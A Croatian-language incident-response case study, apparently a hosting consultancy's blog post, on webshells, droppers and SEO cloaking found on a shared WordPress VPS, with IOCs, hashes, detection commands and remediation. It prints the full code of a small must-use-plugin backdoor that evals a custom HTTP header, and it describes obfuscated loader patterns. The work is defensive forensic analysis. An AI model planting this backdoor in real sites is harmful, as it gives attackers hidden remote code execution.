Svi članci

Security10 min čitanja

Case study - PHP webshellovi na dijeljenom WordPress VPS-u (2025.–2026.)

Forenzička analiza tri vala kompromitacije - MU-plugin backdoor, root-owned filemanager dropper i SEO cloaking kit - bez imena klijenata i domena.

Forenzički sto s laptopom koji pokazuje PHP terminal i server rack u pozadini

U studenome 2026. na dijeljenom AlmaLinux VPS-u (control panel + više WordPress računa) zatvorili smo lanac kompromitacije koji je trajao od prosinca 2025. do kraja listopada 2026. Ovaj case study opisuje što smo našli, kako je svaki PHP artefakt radio i što je trebalo očistiti - bez imena domena, klijenata ili javnih URL-ova.

Cilj nije „kako napasti”, nego kako prepoznati iste IOC-e na vlastitom hostingu i zašto površinski „clean” scanneri promaše root-owned droppere.

Sažetak (TL;DR)

Val Kad Artefakt Uloga
1 prosinac 2025. MU-plugin (~292 B) tihi eval() preko custom HTTP headera
2 31. 10. 2026. hawo.php (~305 KiB, root:root) filemanager dropper na 3 računa, isti SHA-256
2b isti dan (+min) doni.inc.php + OSD_DATA/*.alfa instalater + CGI pomoćnici
2c isti dan (~+35 min) .htaccess ScrapingVisitor SEO cloaking (botovi vide spam, ljudi redirect)
3 (stari) 2023. about.php „Imunify remnant” loader koji je preživio „čišćenje”

Ishod: svi navedeni fajlovi karantirani, čisti .htaccess vraćeni, PHP-FPM i kernel zakrpe podignute; SSH/CWP login napadača na dan dropa nije potvrđen.

Okruženje

  • AlmaLinux 8, dijeljeni VPS s hosting control panelom
  • Više Linux korisnika / WordPress instalacija na istom stroju
  • Web: Apache + PHP-FPM (alt-php 8.2–8.5), panel PHP odvojen
  • Antivirus/malware alati (npr. Maldet) uobičajeno preskaču uid 0

U tekstu: Račun A / B / C = tri WP sitea pogođena istim hawo.php; Račun D = stariji remnant; Operator-1/2 = anonimizirani izvori u access logovima.

Kronologija

Val 1 - tihi backdoor (10. 12. 2025.)

Na Računu A, u prozoru ~21:14–21:15 UTC:

  1. Autenticirana sesija ulazi u wp-admin.
  2. Otvara se stranica plugina WP PHP Console (admin.php?page=wp-php-console).
  3. Slijedi uspješan POST na tu stranicu.
  4. Istog minuta nastaje wp-content/mu-plugins/test-mu-plugin.php (vlasnik = korisnik sitea, ~292 bajta).

Must-use pluginovi učitavaju se uvijek, bez aktivacije u UI-ju. Idealno mjesto za trajni backdoor.

Val 2 - lateralni drop (31. 10. 2026.)

UTC Događaj
12:37:20 hawo.php birth na Računu A, root:root, 311 711 B
12:37:31 Operator-1 GET /hawo.php → HTTP 200 (mala stranica / login UI)
12:37:57 POST na OSD_DATA/osdcgiapi/{perl,py}.alfa (500 - CGI helperi nisu potpuno prošli)
12:39:35 doni.inc.php (vlasnik = site user)
12:49:01 isti hawo.php na Računu B (root:root)
12:49:14 Operator-2 GET /hawo.php na B → 200
12:49:43 isti hawo.php na Računu C (root:root)
~13:12 User-Agent: Mozilla/5.0 ScrapingSetup masovni POST /setup.php - montaža SEO kit-a

SHA-256 hawo.php na A/B/C: identičan
e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b

Val 3 - stari remnant (Račun D, 2023.)

about.php u document rootu: Imunify360 je ubacio „safe” komentar i exit();, ali prva PHP linija i dalje izvršava loader prije toga. Tipičan „polu-clean”.


Analiza samplea 1: MU-plugin HTTP-header eval

Put: wp-content/mu-plugins/test-mu-plugin.php
Veličina: 292 B
SHA-256: af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb
Rođen: 10. 12. 2025. 21:15 UTC
Vlasnik: site user (ne root)

Cijeli sadržaj (anonimiziran samo u smislu da je ovo točan IOC, ne eksploit tutorijal):

<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$the_title_sj = $_SERVER;
$the_title_ycdv = 'HTTP_1C062F9';
if (isset($the_title_sj[$the_title_ycdv])) {
    eval($the_title_sj[$the_title_ycdv]);
}

Kako radi

  1. WordPress učitava MU-plugin na svakom HTTP zahtjevu.
  2. Napadač šalje request s custom headerom koji PHP mapira u $_SERVER['HTTP_1C062F9'] (header ime tipa 1C062F9:).
  3. Vrijednost headera ide direktno u eval().

Nema password UI-ja, nema velikog footprinta, nema shell_exec u fajlu - zato YARA/signature skeneri koji traže FilesMan / c99 ne vide ništa. Detekcija: string HTTP_1C062F9, ili generički eval($_SERVER[...]) u mu-plugins/.

Ulazna točka

Access log veže nastanak fajla uz WP PHP Console u istoj minuti. Taj plugin omogućuje izvršavanje PHP-a iz admina - nakon krađe/kompromitacije admin sesije dovoljan je jedan POST. Preporuka: ukloniti PHP-console / file-manager plugine s produkcije; 2FA na svim adminima; ograničiti wp-admin po IP-u gdje je moguće.


Analiza samplea 2: hawo.php - root-owned filemanager dropper

Put: document root (/hawo.php) na Računima A, B, C
Veličina: 311 711 B
SHA-256: e2b7f9a2…8d4bb48b (isti na sva tri)
Vlasnik: root:root
Birth: 31. 10. 2026. 12:37 / 12:49 UTC
Oblik: ASCII, vrlo dugačka linija

Obfuskacija

Vanalski sloj:

<?=eval("?>".base64_decode("…"));

Prvi peel otkriva drugi isti obrazac i komentar packera:

//Encode by : Unknown45
//Obfuscated by : Unknown45

To je poznati lanac packanja za PHP filemanager / WSO-derivate (UI za browsanje FS-a, upload, edit, naredbe). Vanjski sloj namjerno ne sadrži stringove FilesMan, shell_exec, auth_pass - sve je u unutarnjem payloadu. Statički grep po vanjskom fajlu zato daje lažno „čisto”.

Zašto je root:root kritičan

  • stat / birth time pokazuje fajl nastao kao root, ne chown naknadno.
  • Maldet i slični alati često ne skeniraju uid 0 → dropper ostaje nevidljiv dok ne pogledate find … -user root u webrootovima.
  • Sekundarni payloadi (doni.inc.php, SEO mape, OSD_DATA) su site-user owned - tipičan obrazac: root dropne primarni shell, zatim sesija radi kao PHP/FPM user i piše ostatak.

Što access log kaže

Odmah nakon birtha: GET /hawo.php → 200 s malim bodyjem (~274 B) - konzistentno s login / stub stranicom filemanagera. Ubrzo TelegramBot probe (404 na nekim pathovima) - javni skeneri već indekseiraju novo ime.

Hipoteza o root dropu (bez dokazanog smoking-guna)

Isključeno za taj dan: uspješan SSH login napadača, CWP client login.
Najvjerojatnije klase:

  1. Raniji root foothold (cron, kompromitirani panel PHP koji radi kao root, zaboravljeni setuid helper).
  2. Zlouporaba panel/web stacka koji izvršava PHP kao root (poznati anti-pattern na nekim CWP/oauth/FPM setupima).
  3. Manje vjerojatno: lokalni privilege escalation iz već kompromitiranog WP-a istog dana (nema jakog dokaza u logu u minutima između).

Praktična lekcija: periodični find /home/*/public_html -user root -name '*.php' je jeftin canary.


Analiza samplea 3: doni.inc.php - „Deathin Installer”

Put: document root
Veličina: 279 075 B
SHA-256: 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (A i B)
Vlasnik: site user
Birth: ~2 minute nakon hawo.php na istom računu

Zaglavlje se maskira kao WordPress plugin:

/**
 * Plugin Name: Deathin Installer
 * Description: Extract archive .tar.gz / .zip langsung dari wp-admin tanpa akses FTP.
 * Version: 1.0
 * Author: Private
 * License: GPL-2.0+
 */

Slijedi safeDecrypt($data, $key) s base64_decode i IV izvedenim iz ključa - tipičan enkriptirani payload installer. Uloga u lancu: raspakiravanje SEO/spam arhiva i postavljanje pomoćnih skripti bez FTP-a, često pokrenuto iz već otvorenog filemanagera (hawo.php) ili follow-up bota.


Analiza samplea 4: OSD_DATA/osdcgiapi - Alfa CGI pomoćnici

U karanteni (Račun A), u sekundama nakon prvog hawo hita:

Fajl Tip
bash.alfa Bash skripta
perl.alfa Perl
py.alfa Python
.htaccess (često dozvole / handler)
tmp-osdcgiapi/getheader.alfa Shell helper

Ime *.alfa i struktura OSD_DATA/osdcgiapi odgovaraju Alfa Shell ekosistemu: PHP filemanager + fallback CGI/skripte kad disable_functions ubije shell_exec u PHP-u. U našem logu POST-ovi na perl.alfa / py.alfa vratili su 500 - helperi nisu uspješno izvršeni, ali intent je jasan: eskalacija izvan PHP restrikcija.


Analiza samplea 5: ScrapingVisitor SEO cloaking

Nakon droppera, kit modificira .htaccess blokom # BEGIN ScrapingVisitor. Bit (pojednostavljeno):

  1. Iznimke za crawlere (Googlebot, Bingbot, Ahrefs, Semrush, Facebook, …) i sitemap/robots.
  2. Za mobile UA koji nisu botovi - 302 na vanjski parking/spam (friv.com u našem uzorku; starija varijanta spominjala drugi redirect host).
  3. RewriteRule mape ka statičkim HTML spam stranicama (lokalni SEO spam klonovi članaka).

Uz to: deseci direktorija s index.html spam sadržajem + rewrite na te pathove. Efekt:

  • Google vidi „sadržaj” (cloaking prema bot UA).
  • Pravi posjetitelj dobije redirect ili spam landing.
  • Site owner često ne primijeti dok Search Console ne prijavi hacked content / unnatural redirects.

UA Mozilla/5.0 ScrapingSetup na POST /setup.php je jak IOC za montažu ovog kita.


Analiza samplea 6: about.php - Imunify „polu-clean” loader

Veličina: 15 081 B
SHA-256: c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84
mtime: 2023-12-24
Vlasnik: site user

Struktura:

  1. Linija 1: file_get_contents(__FILE__) + explode na ?> + str_rot13 / base64_decode - klasični self-reading loader.
  2. Zatim Imunify komentar: „artifacts of previous malicious infection… dangerous code have been removed” + exit();.
  3. Nakon ?>: i dalje visio veliki trailing blob (payload).

Problem: PHP izvršava prvu liniju prije exit(). „Clean” poruka lažno smiruje operatera i skenere koji traže samo poznate shell stringove ispod komentara. Pravilo: ako vidiš Imunify remnant banner u document rootu - obriši cijeli fajl, ne vjeruj komentaru.


Kill chain (dijagram)

[Admin sesija / WP PHP Console] ──► MU-plugin eval(header)
         │                              │
         │                         (mjeseci tišine)
         ▼
[Root-capable writer] ──► hawo.php (root) na A, B, C
         │
         ├─► OSD_DATA/*.alfa  (CGI fallback, kod nas 500)
         ├─► doni.inc.php     (Deathin Installer, user-owned)
         └─► ScrapingSetup    ► .htaccess cloaking + spam HTML

Paralelno (starije): about.php Imunify remnant na Računu D

Tri računa + isti SHA u <15 minuta = automatizirani lateralni deploy, ne ručni one-off.

Zašto su skeneri promašili dio

Sloj Zašto promašaj
MU-plugin 292 B nema signature stringova; samo eval($_SERVER[…])
hawo.php root Maldet skip uid 0; payload u nested base64
Imunify remnant banner kaže „safe”, loader ostaje u liniji 1
SEO kit HTML + .htaccess, ne „webshell” potpis

Remedijacija (što je odrađeno)

  1. Karantena (copy + SHA-256 + remove) svih gore navedenih artefakata; SEO direktoriji i .htaccess.hacked sačuvani forenzički.
  2. Vraćen čisti WordPress .htaccess na pogođenim siteovima.
  3. Re-scan webrootova (PHP signature + Imunify-remnant + HTTP_1C062F9 + ScrapingVisitor).
  4. PHP-FPM podignut na zakrpe za tadašnje kritične CVE-ove (php2shell klasa); kernel patch za zasebni TCP UAF CVE.
  5. Preporuke klijentima: reset svih WP/admin/FTP lozinki, 2FA, ukloniti PHP console / file manager plugine, pregled korisnika u wp_users.

IOC tablica (za vlastite skenove)

Tip Vrijednost
Fajl hawo.php u document rootu
Fajl doni.inc.php
Dir OSD_DATA/osdcgiapi/, tmp-osdcgiapi/
Ext *.alfa (bash/perl/py)
MU-plugin HTTP_1C062F9 / eval($…[$_SERVER…])
.htaccess # BEGIN ScrapingVisitor
UA Mozilla/5.0 ScrapingSetup
SHA-256 e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b (hawo)
SHA-256 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (doni)
SHA-256 af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb (MU)
SHA-256 c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84 (about remnant)
Komentar Encode by : Unknown45
Plugin facade Deathin Installer
Imunify artifacts of previous malicious infection + file_get_contents(__FILE__) u istoj datoteci

Brzi canary (read-only)

# root-owned PHP u webrootovima
find /home/*/public_html -type f -name '*.php' -user root 2>/dev/null

# poznati stringovi
grep -RIl --include='*.php' -E 'HTTP_1C062F9|ScrapingVisitor|Deathin Installer|Unknown45|artifacts of previous malicious infection' /home/*/public_html 2>/dev/null

# .htaccess cloaking
grep -RIl 'BEGIN ScrapingVisitor' /home/*/public_html/.htaccess 2>/dev/null

Lekcije

  1. Mali backdoor > veliki shell za dugotrajan pristup; veliki shell dolazi kad treba brzina i lateralno širenje.
  2. Root-owned PHP u public_html je hitan incident, ne „čudan permission”.
  3. Imunify/antivirus remnant ≠ clean - čitaj prvu liniju.
  4. SEO cloaking je često pravi poslovni cilj napada (trafik/spam), ne samo defacement.
  5. Isti SHA na više računa u minutama = pretpostavi kompromitaciju hostinga/panela, ne samo jednog WP plugina.
  6. Isključi alate koji izvršavaju proizvoljni PHP iz admina (PHP Console, online file manager plugini).

Što namjerno ne objavljujemo

Puna deobfuscirana unutrašnjost hawo.php / decrypt ključevi doni.inc.php, točni IP-ovi operatora i imena domena. Za obranu dovoljni su IOC-i i ponašanje; za reprodukciju napada - ne.


Ako vodite dijeljeni WordPress hosting i želite isti tip audita (canary + karantena + forenzika logova), javite se - krenemo od read-only skena, bez rušenja produkcije.

Pročitajte i

WhatsApp